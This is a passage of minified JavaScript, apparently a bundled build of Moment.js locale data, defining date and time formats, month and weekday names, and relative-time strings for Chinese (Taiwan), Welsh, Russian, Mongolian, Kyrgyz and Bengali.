\u0998\u09a8\u09cd\u099f\u09be",d:"\u098f\u0995 \u09a6\u09bf\u09a8",dd:"%d \u09a6\u09bf\u09a8",M:"\u098f\u0995 \u09ae\u09be\u09b8",MM:"%d \u09ae\u09be\u09b8",y:"\u098f\u0995 \u09ac\u099b\u09b0",yy:"%d \u09ac\u099b\u09b0"},preparse:function(e){return e.replace(/[\u09e7\u09e8\u09e9\u09ea\u09eb\u09ec\u09ed\u09ee\u09ef\u09e6]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u09b0\u09be\u09a4|\u09b8\u0995\u09be\u09b2|\u09a6\u09c1\u09aa\u09c1\u09b0|\u09ac\u09bf\u0995\u09be\u09b2|\u09b0\u09be\u09a4/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u09b0\u09be\u09a4"===t&&e>=4||"\u09a6\u09c1\u09aa\u09c1\u09b0"===t&&e<5||"\u09ac\u09bf\u0995\u09be\u09b2"===t?e+12:e},meridiem:function(e,t,n){return e<4?"\u09b0\u09be\u09a4":e<10?"\u09b8\u0995\u09be\u09b2":e<17?"\u09a6\u09c1\u09aa\u09c1\u09b0":e<20?"\u09ac\u09bf\u0995\u09be\u09b2":"\u09b0\u09be\u09a4"},week:{dow:0,doy:6}})}(n("wd/R"))},kOpN:function(e,t,n){!function(e){"use strict";e.defineLocale("zh-tw",{months:"\u4e00\u6708_\u4e8c\u6708_\u4e09\u6708_\u56db\u6708_\u4e94\u6708_\u516d\u6708_\u4e03\u6708_\u516b\u6708_\u4e5d\u6708_\u5341\u6708_\u5341\u4e00\u6708_\u5341\u4e8c\u6708".split("_"),monthsShort:"1\u6708_2\u6708_3\u6708_4\u6708_5\u6708_6\u6708_7\u6708_8\u6708_9\u6708_10\u6708_11\u6708_12\u6708".split("_"),weekdays:"\u661f\u671f\u65e5_\u661f\u671f\u4e00_\u661f\u671f\u4e8c_\u661f\u671f\u4e09_\u661f\u671f\u56db_\u661f\u671f\u4e94_\u661f\u671f\u516d".split("_"),weekdaysShort:"\u9031\u65e5_\u9031\u4e00_\u9031\u4e8c_\u9031\u4e09_\u9031\u56db_\u9031\u4e94_\u9031\u516d".split("_"),weekdaysMin:"\u65e5_\u4e00_\u4e8c_\u4e09_\u56db_\u4e94_\u516d".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY\u5e74M\u6708D\u65e5",LLL:"YYYY\u5e74M\u6708D\u65e5 HH:mm",LLLL:"YYYY\u5e74M\u6708D\u65e5dddd HH:mm",l:"YYYY/M/D",ll:"YYYY\u5e74M\u6708D\u65e5",lll:"YYYY\u5e74M\u6708D\u65e5 HH:mm",llll:"YYYY\u5e74M\u6708D\u65e5dddd HH:mm"},meridiemParse:/\u51cc\u6668|\u65e9\u4e0a|\u4e0a\u5348|\u4e2d\u5348|\u4e0b\u5348|\u665a\u4e0a/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u51cc\u6668"===t||"\u65e9\u4e0a"===t||"\u4e0a\u5348"===t?e:"\u4e2d\u5348"===t?e>=11?e:e+12:"\u4e0b\u5348"===t||"\u665a\u4e0a"===t?e+12:void 0},meridiem:function(e,t,n){var a=100*e+t;return a<600?"\u51cc\u6668":a<900?"\u65e9\u4e0a":a<1130?"\u4e0a\u5348":a<1230?"\u4e2d\u5348":a<1800?"\u4e0b\u5348":"\u665a\u4e0a"},calendar:{sameDay:"[\u4eca\u5929] LT",nextDay:"[\u660e\u5929] LT",nextWeek:"[\u4e0b]dddd LT",lastDay:"[\u6628\u5929] LT",lastWeek:"[\u4e0a]dddd LT",sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}(\u65e5|\u6708|\u9031)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"\u65e5";case"M":return e+"\u6708";case"w":case"W":return e+"\u9031";default:return e}},relativeTime:{future:"%s\u5f8c",past:"%s\u524d",s:"\u5e7e\u79d2",ss:"%d \u79d2",m:"1 \u5206\u9418",mm:"%d \u5206\u9418",h:"1 \u5c0f\u6642",hh:"%d \u5c0f\u6642",d:"1 \u5929",dd:"%d \u5929",M:"1 \u500b\u6708",MM:"%d \u500b\u6708",y:"1 \u5e74",yy:"%d \u5e74"}})}(n("wd/R"))},l5ep:function(e,t,n){!function(e){"use strict";e.defineLocale("cy",{months:"Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr".split("_"),monthsShort:"Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag".split("_"),weekdays:"Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn".split("_"),weekdaysShort:"Sul_Llun_Maw_Mer_Iau_Gwe_Sad".split("_"),weekdaysMin:"Su_Ll_Ma_Me_Ia_Gw_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Heddiw am] LT",nextDay:"[Yfory am] LT",nextWeek:"dddd [am] LT",lastDay:"[Ddoe am] LT",lastWeek:"dddd [diwethaf am] LT",sameElse:"L"},relativeTime:{future:"mewn %s",past:"%s yn \xf4l",s:"ychydig eiliadau",ss:"%d eiliad",m:"munud",mm:"%d munud",h:"awr",hh:"%d awr",d:"diwrnod",dd:"%d diwrnod",M:"mis",MM:"%d mis",y:"blwyddyn",yy:"%d flynedd"},dayOfMonthOrdinalParse:/\d{1,2}(fed|ain|af|il|ydd|ed|eg)/,ordinal:function(e){var t="";return e>20?t=40===e||50===e||60===e||80===e||100===e?"fed":"ain":e>0&&(t=["","af","il","ydd","ydd","ed","ed","ed","fed","fed","fed","eg","fed","eg","eg","fed","eg","eg","fed","eg","fed"][e]),e+t},week:{dow:1,doy:4}})}(n("wd/R"))},lXzo:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a,r;return"m"===n?t?"\u043c\u0438\u043d\u0443\u0442\u0430":"\u043c\u0438\u043d\u0443\u0442\u0443":e+" "+(a=+e,r={ss:t?"\u0441\u0435\u043a\u0443\u043d\u0434\u0430_\u0441\u0435\u043a\u0443\u043d\u0434\u044b_\u0441\u0435\u043a\u0443\u043d\u0434":"\u0441\u0435\u043a\u0443\u043d\u0434\u0443_\u0441\u0435\u043a\u0443\u043d\u0434\u044b_\u0441\u0435\u043a\u0443\u043d\u0434",mm:t?"\u043c\u0438\u043d\u0443\u0442\u0430_\u043c\u0438\u043d\u0443\u0442\u044b_\u043c\u0438\u043d\u0443\u0442":"\u043c\u0438\u043d\u0443\u0442\u0443_\u043c\u0438\u043d\u0443\u0442\u044b_\u043c\u0438\u043d\u0443\u0442",hh:"\u0447\u0430\u0441_\u0447\u0430\u0441\u0430_\u0447\u0430\u0441\u043e\u0432",dd:"\u0434\u0435\u043d\u044c_\u0434\u043d\u044f_\u0434\u043d\u0435\u0439",ww:"\u043d\u0435\u0434\u0435\u043b\u044f_\u043d\u0435\u0434\u0435\u043b\u0438_\u043d\u0435\u0434\u0435\u043b\u044c",MM:"\u043c\u0435\u0441\u044f\u0446_\u043c\u0435\u0441\u044f\u0446\u0430_\u043c\u0435\u0441\u044f\u0446\u0435\u0432",yy:"\u0433\u043e\u0434_\u0433\u043e\u0434\u0430_\u043b\u0435\u0442"}[n].split("_"),a%10==1&&a%100!=11?r[0]:a%10>=2&&a%10<=4&&(a%100<10||a%100>=20)?r[1]:r[2])}var n=[/^\u044f\u043d\u0432/i,/^\u0444\u0435\u0432/i,/^\u043c\u0430\u0440/i,/^\u0430\u043f\u0440/i,/^\u043c\u0430[\u0439\u044f]/i,/^\u0438\u044e\u043d/i,/^\u0438\u044e\u043b/i,/^\u0430\u0432\u0433/i,/^\u0441\u0435\u043d/i,/^\u043e\u043a\u0442/i,/^\u043d\u043e\u044f/i,/^\u0434\u0435\u043a/i];e.defineLocale("ru",{months:{format:"\u044f\u043d\u0432\u0430\u0440\u044f_\u0444\u0435\u0432\u0440\u0430\u043b\u044f_\u043c\u0430\u0440\u0442\u0430_\u0430\u043f\u0440\u0435\u043b\u044f_\u043c\u0430\u044f_\u0438\u044e\u043d\u044f_\u0438\u044e\u043b\u044f_\u0430\u0432\u0433\u0443\u0441\u0442\u0430_\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f_\u043e\u043a\u0442\u044f\u0431\u0440\u044f_\u043d\u043e\u044f\u0431\u0440\u044f_\u0434\u0435\u043a\u0430\u0431\u0440\u044f".split("_"),standalone:"\u044f\u043d\u0432\u0430\u0440\u044c_\u0444\u0435\u0432\u0440\u0430\u043b\u044c_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440\u0435\u043b\u044c_\u043c\u0430\u0439_\u0438\u044e\u043d\u044c_\u0438\u044e\u043b\u044c_\u0430\u0432\u0433\u0443\u0441\u0442_\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c_\u043e\u043a\u0442\u044f\u0431\u0440\u044c_\u043d\u043e\u044f\u0431\u0440\u044c_\u0434\u0435\u043a\u0430\u0431\u0440\u044c".split("_")},monthsShort:{format:"\u044f\u043d\u0432._\u0444\u0435\u0432\u0440._\u043c\u0430\u0440._\u0430\u043f\u0440._\u043c\u0430\u044f_\u0438\u044e\u043d\u044f_\u0438\u044e\u043b\u044f_\u0430\u0432\u0433._\u0441\u0435\u043d\u0442._\u043e\u043a\u0442._\u043d\u043e\u044f\u0431._\u0434\u0435\u043a.".split("_"),standalone:"\u044f\u043d\u0432._\u0444\u0435\u0432\u0440._\u043c\u0430\u0440\u0442_\u0430\u043f\u0440._\u043c\u0430\u0439_\u0438\u044e\u043d\u044c_\u0438\u044e\u043b\u044c_\u0430\u0432\u0433._\u0441\u0435\u043d\u0442._\u043e\u043a\u0442._\u043d\u043e\u044f\u0431._\u0434\u0435\u043a.".split("_")},weekdays:{standalone:"\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435_\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a_\u0432\u0442\u043e\u0440\u043d\u0438\u043a_\u0441\u0440\u0435\u0434\u0430_\u0447\u0435\u0442\u0432\u0435\u0440\u0433_\u043f\u044f\u0442\u043d\u0438\u0446\u0430_\u0441\u0443\u0431\u0431\u043e\u0442\u0430".split("_"),format:"\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435_\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a_\u0432\u0442\u043e\u0440\u043d\u0438\u043a_\u0441\u0440\u0435\u0434\u0443_\u0447\u0435\u0442\u0432\u0435\u0440\u0433_\u043f\u044f\u0442\u043d\u0438\u0446\u0443_\u0441\u0443\u0431\u0431\u043e\u0442\u0443".split("_"),isFormat:/\[ ?[\u0412\u0432] ?(?:\u043f\u0440\u043e\u0448\u043b\u0443\u044e|\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e|\u044d\u0442\u0443)? ?] ?dddd/},weekdaysShort:"\u0432\u0441_\u043f\u043d_\u0432\u0442_\u0441\u0440_\u0447\u0442_\u043f\u0442_\u0441\u0431".split("_"),weekdaysMin:"\u0432\u0441_\u043f\u043d_\u0432\u0442_\u0441\u0440_\u0447\u0442_\u043f\u0442_\u0441\u0431".split("_"),monthsParse:n,longMonthsParse:n,shortMonthsParse:n,monthsRegex:/^(\u044f\u043d\u0432\u0430\u0440[\u044c\u044f]|\u044f\u043d\u0432\.?|\u0444\u0435\u0432\u0440\u0430\u043b[\u044c\u044f]|\u0444\u0435\u0432\u0440?\.?|\u043c\u0430\u0440\u0442\u0430?|\u043c\u0430\u0440\.?|\u0430\u043f\u0440\u0435\u043b[\u044c\u044f]|\u0430\u043f\u0440\.?|\u043c\u0430[\u0439\u044f]|\u0438\u044e\u043d[\u044c\u044f]|\u0438\u044e\u043d\.?|\u0438\u044e\u043b[\u044c\u044f]|\u0438\u044e\u043b\.?|\u0430\u0432\u0433\u0443\u0441\u0442\u0430?|\u0430\u0432\u0433\.?|\u0441\u0435\u043d\u0442\u044f\u0431\u0440[\u044c\u044f]|\u0441\u0435\u043d\u0442?\.?|\u043e\u043a\u0442\u044f\u0431\u0440[\u044c\u044f]|\u043e\u043a\u0442\.?|\u043d\u043e\u044f\u0431\u0440[\u044c\u044f]|\u043d\u043e\u044f\u0431?\.?|\u0434\u0435\u043a\u0430\u0431\u0440[\u044c\u044f]|\u0434\u0435\u043a\.?)/i,monthsShortRegex:/^(\u044f\u043d\u0432\u0430\u0440[\u044c\u044f]|\u044f\u043d\u0432\.?|\u0444\u0435\u0432\u0440\u0430\u043b[\u044c\u044f]|\u0444\u0435\u0432\u0440?\.?|\u043c\u0430\u0440\u0442\u0430?|\u043c\u0430\u0440\.?|\u0430\u043f\u0440\u0435\u043b[\u044c\u044f]|\u0430\u043f\u0440\.?|\u043c\u0430[\u0439\u044f]|\u0438\u044e\u043d[\u044c\u044f]|\u0438\u044e\u043d\.?|\u0438\u044e\u043b[\u044c\u044f]|\u0438\u044e\u043b\.?|\u0430\u0432\u0433\u0443\u0441\u0442\u0430?|\u0430\u0432\u0433\.?|\u0441\u0435\u043d\u0442\u044f\u0431\u0440[\u044c\u044f]|\u0441\u0435\u043d\u0442?\.?|\u043e\u043a\u0442\u044f\u0431\u0440[\u044c\u044f]|\u043e\u043a\u0442\.?|\u043d\u043e\u044f\u0431\u0440[\u044c\u044f]|\u043d\u043e\u044f\u0431?\.?|\u0434\u0435\u043a\u0430\u0431\u0440[\u044c\u044f]|\u0434\u0435\u043a\.?)/i,monthsStrictRegex:/^(\u044f\u043d\u0432\u0430\u0440[\u044f\u044c]|\u0444\u0435\u0432\u0440\u0430\u043b[\u044f\u044c]|\u043c\u0430\u0440\u0442\u0430?|\u0430\u043f\u0440\u0435\u043b[\u044f\u044c]|\u043c\u0430[\u044f\u0439]|\u0438\u044e\u043d[\u044f\u044c]|\u0438\u044e\u043b[\u044f\u044c]|\u0430\u0432\u0433\u0443\u0441\u0442\u0430?|\u0441\u0435\u043d\u0442\u044f\u0431\u0440[\u044f\u044c]|\u043e\u043a\u0442\u044f\u0431\u0440[\u044f\u044c]|\u043d\u043e\u044f\u0431\u0440[\u044f\u044c]|\u0434\u0435\u043a\u0430\u0431\u0440[\u044f\u044c])/i,monthsShortStrictRegex:/^(\u044f\u043d\u0432\.|\u0444\u0435\u0432\u0440?\.|\u043c\u0430\u0440[\u0442.]|\u0430\u043f\u0440\.|\u043c\u0430[\u044f\u0439]|\u0438\u044e\u043d[\u044c\u044f.]|\u0438\u044e\u043b[\u044c\u044f.]|\u0430\u0432\u0433\.|\u0441\u0435\u043d\u0442?\.|\u043e\u043a\u0442\.|\u043d\u043e\u044f\u0431?\.|\u0434\u0435\u043a\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY \u0433.",LLL:"D MMMM YYYY \u0433., H:mm",LLLL:"dddd, D MMMM YYYY \u0433., H:mm"},calendar:{sameDay:"[\u0421\u0435\u0433\u043e\u0434\u043d\u044f, \u0432] LT",nextDay:"[\u0417\u0430\u0432\u0442\u0440\u0430, \u0432] LT",lastDay:"[\u0412\u0447\u0435\u0440\u0430, \u0432] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[\u0412\u043e] dddd, [\u0432] LT":"[\u0412] dddd, [\u0432] LT";switch(this.day()){case 0:return"[\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435] dddd, [\u0432] LT";case 1:case 2:case 4:return"[\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439] dddd, [\u0432] LT";case 3:case 5:case 6:return"[\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e] dddd, [\u0432] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[\u0412\u043e] dddd, [\u0432] LT":"[\u0412] dddd, [\u0432] LT";switch(this.day()){case 0:return"[\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u0435] dddd, [\u0432] LT";case 1:case 2:case 4:return"[\u0412 \u043f\u0440\u043e\u0448\u043b\u044b\u0439] dddd, [\u0432] LT";case 3:case 5:case 6:return"[\u0412 \u043f\u0440\u043e\u0448\u043b\u0443\u044e] dddd, [\u0432] LT"}},sameElse:"L"},relativeTime:{future:"\u0447\u0435\u0440\u0435\u0437 %s",past:"%s \u043d\u0430\u0437\u0430\u0434",s:"\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434",ss:t,m:t,mm:t,h:"\u0447\u0430\u0441",hh:t,d:"\u0434\u0435\u043d\u044c",dd:t,w:"\u043d\u0435\u0434\u0435\u043b\u044f",ww:t,M:"\u043c\u0435\u0441\u044f\u0446",MM:t,y:"\u0433\u043e\u0434",yy:t},meridiemParse:/\u043d\u043e\u0447\u0438|\u0443\u0442\u0440\u0430|\u0434\u043d\u044f|\u0432\u0435\u0447\u0435\u0440\u0430/i,isPM:function(e){return/^(\u0434\u043d\u044f|\u0432\u0435\u0447\u0435\u0440\u0430)$/.test(e)},meridiem:function(e,t,n){return e<4?"\u043d\u043e\u0447\u0438":e<12?"\u0443\u0442\u0440\u0430":e<17?"\u0434\u043d\u044f":"\u0432\u0435\u0447\u0435\u0440\u0430"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0439|\u0433\u043e|\u044f)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-\u0439";case"D":return e+"-\u0433\u043e";case"w":case"W":return e+"-\u044f";default:return e}},week:{dow:1,doy:4}})}(n("wd/R"))},lYtQ:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){switch(n){case"s":return t?"\u0445\u044d\u0434\u0445\u044d\u043d \u0441\u0435\u043a\u0443\u043d\u0434":"\u0445\u044d\u0434\u0445\u044d\u043d \u0441\u0435\u043a\u0443\u043d\u0434\u044b\u043d";case"ss":return e+(t?" \u0441\u0435\u043a\u0443\u043d\u0434":" \u0441\u0435\u043a\u0443\u043d\u0434\u044b\u043d");case"m":case"mm":return e+(t?" \u043c\u0438\u043d\u0443\u0442":" \u043c\u0438\u043d\u0443\u0442\u044b\u043d");case"h":case"hh":return e+(t?" \u0446\u0430\u0433":" \u0446\u0430\u0433\u0438\u0439\u043d");case"d":case"dd":return e+(t?" \u04e9\u0434\u04e9\u0440":" \u04e9\u0434\u0440\u0438\u0439\u043d");case"M":case"MM":return e+(t?" \u0441\u0430\u0440":" \u0441\u0430\u0440\u044b\u043d");case"y":case"yy":return e+(t?" \u0436\u0438\u043b":" \u0436\u0438\u043b\u0438\u0439\u043d");default:return e}}e.defineLocale("mn",{months:"\u041d\u044d\u0433\u0434\u04af\u0433\u044d\u044d\u0440 \u0441\u0430\u0440_\u0425\u043e\u0451\u0440\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440_\u0413\u0443\u0440\u0430\u0432\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440_\u0414\u04e9\u0440\u04e9\u0432\u0434\u04af\u0433\u044d\u044d\u0440 \u0441\u0430\u0440_\u0422\u0430\u0432\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440_\u0417\u0443\u0440\u0433\u0430\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440_\u0414\u043e\u043b\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440_\u041d\u0430\u0439\u043c\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440_\u0415\u0441\u0434\u04af\u0433\u044d\u044d\u0440 \u0441\u0430\u0440_\u0410\u0440\u0430\u0432\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440_\u0410\u0440\u0432\u0430\u043d \u043d\u044d\u0433\u0434\u04af\u0433\u044d\u044d\u0440 \u0441\u0430\u0440_\u0410\u0440\u0432\u0430\u043d \u0445\u043e\u0451\u0440\u0434\u0443\u0433\u0430\u0430\u0440 \u0441\u0430\u0440".split("_"),monthsShort:"1 \u0441\u0430\u0440_2 \u0441\u0430\u0440_3 \u0441\u0430\u0440_4 \u0441\u0430\u0440_5 \u0441\u0430\u0440_6 \u0441\u0430\u0440_7 \u0441\u0430\u0440_8 \u0441\u0430\u0440_9 \u0441\u0430\u0440_10 \u0441\u0430\u0440_11 \u0441\u0430\u0440_12 \u0441\u0430\u0440".split("_"),monthsParseExact:!0,weekdays:"\u041d\u044f\u043c_\u0414\u0430\u0432\u0430\u0430_\u041c\u044f\u0433\u043c\u0430\u0440_\u041b\u0445\u0430\u0433\u0432\u0430_\u041f\u04af\u0440\u044d\u0432_\u0411\u0430\u0430\u0441\u0430\u043d_\u0411\u044f\u043c\u0431\u0430".split("_"),weekdaysShort:"\u041d\u044f\u043c_\u0414\u0430\u0432_\u041c\u044f\u0433_\u041b\u0445\u0430_\u041f\u04af\u0440_\u0411\u0430\u0430_\u0411\u044f\u043c".split("_"),weekdaysMin:"\u041d\u044f_\u0414\u0430_\u041c\u044f_\u041b\u0445_\u041f\u04af_\u0411\u0430_\u0411\u044f".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY \u043e\u043d\u044b MMMM\u044b\u043d D",LLL:"YYYY \u043e\u043d\u044b MMMM\u044b\u043d D HH:mm",LLLL:"dddd, YYYY \u043e\u043d\u044b MMMM\u044b\u043d D HH:mm"},meridiemParse:/\u04ae\u04e8|\u04ae\u0425/i,isPM:function(e){return"\u04ae\u0425"===e},meridiem:function(e,t,n){return e<12?"\u04ae\u04e8":"\u04ae\u0425"},calendar:{sameDay:"[\u04e8\u043d\u04e9\u04e9\u0434\u04e9\u0440] LT",nextDay:"[\u041c\u0430\u0440\u0433\u0430\u0430\u0448] LT",nextWeek:"[\u0418\u0440\u044d\u0445] dddd LT",lastDay:"[\u04e8\u0447\u0438\u0433\u0434\u04e9\u0440] LT",lastWeek:"[\u04e8\u043d\u0433\u04e9\u0440\u0441\u04e9\u043d] dddd LT",sameElse:"L"},relativeTime:{future:"%s \u0434\u0430\u0440\u0430\u0430",past:"%s \u04e9\u043c\u043d\u04e9",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2} \u04e9\u0434\u04e9\u0440/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+" \u04e9\u0434\u04e9\u0440";default:return e}}})}(n("wd/R"))},lgnt:function(e,t,n){!function(e){"use strict";var t={0:"-\u0447\u04af",1:"-\u0447\u0438",2:"-\u0447\u0438",3:"-\u0447\u04af",4:"-\u0447\u04af",5:"-\u0447\u0438",6:"-\u0447\u044b",7:"-\u0447\u0438",8:"-\u0447\u0438",9:"-\u0447\u0443",10:"-\u0447\u0443",20:"-\u0447\u044b",30:"-\u0447\u0443",40:"-\u0447\u044b",50:"-\u0447\u04af",60:"-\u0447\u044b",70:"-\u0447\u0438",80:"-\u0447\u0438",90:"-\u0447\u0443",100:"-\u0447\u04af"};e.defineLocale("ky",{months:"\u044f\u043d\u0432\u0430\u0440\u044c_\u0444\u0435\u0432\u0440\u0430\u043b\u044c_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440\u0435\u043b\u044c_\u043c\u0430\u0439_\u0438\u044e\u043d\u044c_\u0438\u044e\u043b\u044c_\u0430\u0432\u0433\u0443\u0441\u0442_\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c_\u043e\u043a\u0442\u044f\u0431\u0440\u044c_\u043d\u043e\u044f\u0431\u0440\u044c_\u0434\u0435\u043a\u0430\u0431\u0440\u044c".split("_"),monthsShort:"\u044f\u043d\u0432_\u0444\u0435\u0432_\u043c\u0430\u0440\u0442_\u0430\u043f\u0440_\u043c\u0430\u0439_\u0438\u044e\u043d\u044c_\u0438\u044e\u043b\u044c_\u0430\u0432\u0433_\u0441\u0435\u043d_\u043e\u043a\u0442_\u043d\u043e\u044f_\u0434\u0435\u043a".split("_"),weekdays:"\u0416\u0435\u043a\u0448\u0435\u043c\u0431\u0438_\u0414\u04af\u0439\u0448\u04e9\u043c\u0431\u04af_\u0428\u0435\u0439\u0448\u0435\u043c\u0431\u0438_\u0428\u0430\u0440\u0448\u0435\u043c\u0431\u0438_\u0411\u0435\u0439\u0448\u0435\u043c\u0431\u0438_\u0416\u0443\u043c\u0430_\u0418\u0448\u0435\u043c\u0431\u0438".split("_"),weekdaysShort:"\u0416\u0435\u043a_\u0414\u04af\u0439_\u0428\u0435\u0439_\u0428\u0430\u0440_\u0411\u0435\u0439_\u0416\u0443\u043c_\u0418\u0448\u0435".split("_"),weekdaysMin:"\u0416\u043a_\u0414\u0439_\u0428\u0439_\u0428\u0440_\u0411\u0439_\u0416\u043c_\u0418\u0448".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[\u0411\u04af\u0433\u04af\u043d \u0441\u0430\u0430\u0442] LT",nextDay:"[\u042d\u0440\u0442\u0435\u04a3 \u0441\u0430\u0430\u0442] LT",nextWeek:"dddd [\u0441\u0430\u0430\u0442] LT",lastDay:"[\u041a\u0435\u0447\u044d\u044d \u0441\u0430\u0430\u0442] LT",lastWeek:"[\u04e8\u0442\u043a\u04e9\u043d \u0430\u043f\u0442\u0430\u043d\u044b\u043d] dddd [\u043a\u04af\u043d\u04af] [\u0441\u0430\u0430\u0442] LT",sameElse:"L"},relativeTime:{future:"%s \u0438\u0447\u0438\u043d\u0434\u0435",past:"%s \u043c\u0443\u0440\u0443\u043d",s:"\u0431\u0438\u0440\u043d\u0435\u0447\u0435 \u0441\u0435\u043a\u0443\u043d\u0434",ss:"%d \u0441\u0435\u043a\u0443\u043d\u0434",m:"\u0431\u0438\u0440 \u043c\u04af\u043d\u04e9\u0442",mm:"%d \u043c\u04af\u043d\u04e9\u0442",h:"\u0431\u0438\u0440 \u0441\u0430\u0430\u0442",hh:"%d \u0441\u0430\u0430\u0442",d:"\u0431\u0438\u0440 \u043a\u04af\u043d",dd:"%d \u043a\u04af\u043d",M:"\u0431\u0438\u0440 \u0430\u0439",MM:"%d \u0430\u0439",y:"\u0431\u0438\u0440 \u0436\u044b\u043b",yy:"%d \u0436\u044b\u043b"},dayOfMonthOrdinalParse:/\d{1,2}-(\u0447\u0438|\u0447\u044b|\u0447\u04af|\u0447\u0443)/,ordinal:function(e){return e+(t[e]||t[e%10]||t[e>=100?100:null])},week:{dow:1,doy:7}})}(n("wd/R"))},loYQ:function(e,t,n){!function(e){"use strict";var t={1:"\u09e7",2:"\u09e8",3:"\u09e9",4:"\u09ea",5:"\u09eb",6:"\u09ec",7:"\u09ed",8:"\u09ee",9:"\u09ef",0:"\u09e6"},n={"\u09e7":"1","\u09e8":"2","\u09e9":"3","\u09ea":"4","\u09eb":"5","\u09ec":"6","\u09ed":"7","\u09ee":"8","\u09ef":"9","\u09e6":"0"};e.defineLocale("bn-bd",{months:"\u099c\u09be\u09a8\u09c1\u09df\u09be\u09b0\u09bf_\u09ab\u09c7\u09ac\u09cd\u09b0\u09c1\u09df\u09be\u09b0\u09bf_\u09ae\u09be\u09b0\u09cd\u099a_\u098f\u09aa\u09cd\u09b0\u09bf\u09b2_\u09ae\u09c7_\u099c\u09c1\u09a8_\u099c\u09c1\u09b2\u09be\u0987_\u0986\u0997\u09b8\u09cd\u099f_\u09b8\u09c7\u09aa\u09cd\u099f\u09c7\u09ae\u09cd\u09ac\u09b0_\u0985\u0995\u09cd\u099f\u09cb\u09ac\u09b0_\u09a8\u09ad\u09c7\u09ae\u09cd\u09ac\u09b0_\u09a1\u09bf\u09b8\u09c7\u09ae\u09cd\u09ac\u09b0".split("_"),monthsShort:"\u099c\u09be\u09a8\u09c1_\u09ab\u09c7\u09ac\u09cd\u09b0\u09c1_\u09ae\u09be\u09b0\u09cd\u099a_\u098f\u09aa\u09cd\u09b0\u09bf\u09b2_\u09ae\u09c7_\u099c\u09c1\u09a8_\u099c\u09c1\u09b2\u09be\u0987_\u0986\u0997\u09b8\u09cd\u099f_\u09b8\u09c7\u09aa\u09cd\u099f_\u0985\u0995\u09cd\u099f\u09cb_\u09a8\u09ad\u09c7_\u09a1\u09bf\u09b8\u09c7".split("_"),weekdays:"\u09b0\u09ac\u09bf\u09ac\u09be\u09b0_\u09b8\u09cb\u09ae\u09ac\u09be\u09b0_\u09ae\u0999\u09cd\u0997\u09b2\u09ac\u09be\u09b0_\u09ac\u09c1\u09a7\u09ac\u09be\u09b0_\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf\u09ac\u09be\u09b0_\u09b6\u09c1\u0995\u09cd\u09b0\u09ac\u09be\u09b0_\u09b6\u09a8\u09bf\u09ac\u09be\u09b0".split("_"),weekdaysShort:"\u09b0\u09ac\u09bf_\u09b8\u09cb\u09ae_\u09ae\u0999\u09cd\u0997\u09b2_\u09ac\u09c1\u09a7_\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf_\u09b6\u09c1\u0995\u09cd\u09b0_\u09b6\u09a8\u09bf".split("_"),weekdaysMin:"\u09b0\u09ac\u09bf_\u09b8\u09cb\u09ae_\u09a